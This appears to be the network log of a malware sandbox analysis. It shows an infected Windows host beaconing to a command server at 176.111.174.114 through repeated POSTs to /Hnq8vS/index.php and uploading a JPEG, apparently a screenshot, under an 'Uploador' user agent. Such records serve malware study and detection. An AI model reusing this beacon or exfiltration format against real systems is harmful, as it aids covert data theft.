Apr 28, 2021 23:23:42.039119005 CEST	9793	OUT	Data Raw: be ff 00 bf e2 a4 8f f6 a5 d2 59 bf e4 1b a8 ff 00 df d5 a9 fe d4 c0 7f 39 1f ea 5e 77 fc 9f d7 de 7b c7 fd f3 4f 8c bf fc f4 af 0b ff 00 86 a3 d1 f6 ff 00 c7 8e a1 ff 00 7f 56 96 3f da 97 46 fb ff 00 60 be ff 00 bf ab 4f fb 43 03 fc e6 5f ea 66 Data Ascii: Y9^w{OV?F`OC_fwzS^SqRGS\|i}fv?gxV?}}LoZ>cpvz5>y~ZeX.AL1R0q@?=G{k
Apr 28, 2021 23:23:42.039189100 CEST	9806	OUT	Data Raw: 3d 99 a2 a8 87 db ae ee 6a 4f 2b fd 9f d6 9b 6e bf 37 15 69 e3 f5 ad 23 13 09 ca d2 23 8f e6 22 a5 58 ff 00 79 d6 84 8f 6b 66 a5 ff 00 96 95 bc 62 63 29 09 1c 75 66 18 fc cd a3 1d 2a 24 50 4e 3b 55 88 17 6a e6 ba 29 c4 e7 a9 22 27 8c 93 c5 33 cb Data Ascii: =jO+n7i##"Xykfbc)uf*$PN;Uj)"'3U#,QdCj!0<\"(`U#mx\bcRALo;EMV\|V}{Wv5'5NZ^?vZG2ggTmW[d^=MiF+YG
Apr 28, 2021 23:23:42.039232016 CEST	9821	OUT	Data Raw: 1c 72 37 fd 33 7a ca 38 4c 45 4f 76 10 94 8d 7f b4 f0 54 3e 3a b1 5f 33 b8 86 e1 24 b3 9c 0f bd e4 37 fe 83 5f 96 5f f0 56 58 f7 7c 66 f0 f3 7f d4 a5 6f ff 00 a3 24 af be af 3f 6b 8f 86 7a 74 72 5b 59 17 94 b2 e3 75 7c 0b ff 00 05 51 b9 fb 77 c5 Data Ascii: r73z8LEOvT>:_3$7__VX\|fo$?kztr[Yu\|QwmY<!nFxrX\|P7*?+?I?~1m4xJu+7E`'C)<#X^.~~wOzG<EY[^f .!uws;@ Vc
Apr 28, 2021 23:23:42.039604902 CEST	9827	OUT	Data Raw: ca b0 14 dd 3c 2d 28 c0 5f d9 98 ec 45 58 d5 c4 d5 94 e5 d6 e7 c4 f4 51 4e 8b ef d7 f3 27 29 fd 56 7e 9f 7f c1 a8 4d b7 fe 0a 1d e3 33 ff 00 54 5b 51 ff 00 d3 be 91 5f bc ff 00 12 ae 14 78 3a f5 4b 00 58 c4 06 4f 53 e6 a1 c7 e9 5f cd cf fc 10 3f Data Ascii: <-(_EXQN')V~M3T[Q_x:KXOS_?'~?jvG.\|64W<\|H)V*A`h/oK~VZuxm`o.R'XgYpI`3FliI6?dY&u
Apr 28, 2021 23:23:42.039890051 CEST	9862	OUT	Data Raw: 85 a8 78 af 6e e6 f3 ab 93 d4 7c 4d 27 27 7d 62 6a 3e 22 76 56 f9 eb c6 c4 66 d1 8f ba 7d 16 0f 23 3a 6d 53 c5 63 9d b2 d7 33 aa f8 91 9b f8 eb 12 ff 00 c4 0f ce 1e b1 2f b5 97 62 79 af 9b c6 66 c7 d6 60 b2 68 d3 35 75 0d 6c c8 e4 ef dd 59 77 5a Data Ascii: xn\|M''}bj>"vVf}#:mSc3/byf`h5ulYwZYjnr/]+kcC"[on/=hb+a$y5IjgQ)xo&^;xG5}k;PFtKO]\"m:IO.:(Mb):

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
497	192.168.2.5	50008	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:41.783267021 CEST	9702	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
498	176.111.174.114	80	192.168.2.5	50008	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:42.016314030 CEST	9782	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
499	176.111.174.114	80	192.168.2.5	50007	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:42.137700081 CEST	9874	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	176.111.174.114	80	192.168.2.5	49713	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:22.634303093 CEST	1565	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49738	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:31.319087982 CEST	1589	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
500	192.168.2.5	50009	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:42.233679056 CEST	9874	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
501	176.111.174.114	80	192.168.2.5	50009	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:42.341362953 CEST	9875	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
502	192.168.2.5	50011	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:42.862903118 CEST	9875	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
503	176.111.174.114	80	192.168.2.5	50011	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:42.970284939 CEST	9876	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
504	192.168.2.5	50012	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:44.157543898 CEST	9876	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
505	176.111.174.114	80	192.168.2.5	50012	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:44.260515928 CEST	9877	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
506	192.168.2.5	50014	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:44.465395927 CEST	9877	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
507	176.111.174.114	80	192.168.2.5	50014	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:44.565545082 CEST	9878	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
508	192.168.2.5	50015	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:44.776454926 CEST	9878	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
509	176.111.174.114	80	192.168.2.5	50015	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:44.877116919 CEST	9879	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	176.111.174.114	80	192.168.2.5	49738	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:31.431096077 CEST	1589	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
510	192.168.2.5	50016	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:45.093688965 CEST	9879	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
511	176.111.174.114	80	192.168.2.5	50016	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:45.197051048 CEST	9880	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
512	192.168.2.5	50017	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:45.410603046 CEST	9881	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
513	176.111.174.114	80	192.168.2.5	50017	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:45.511827946 CEST	9881	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
514	192.168.2.5	50018	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:45.664499044 CEST	9894	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc 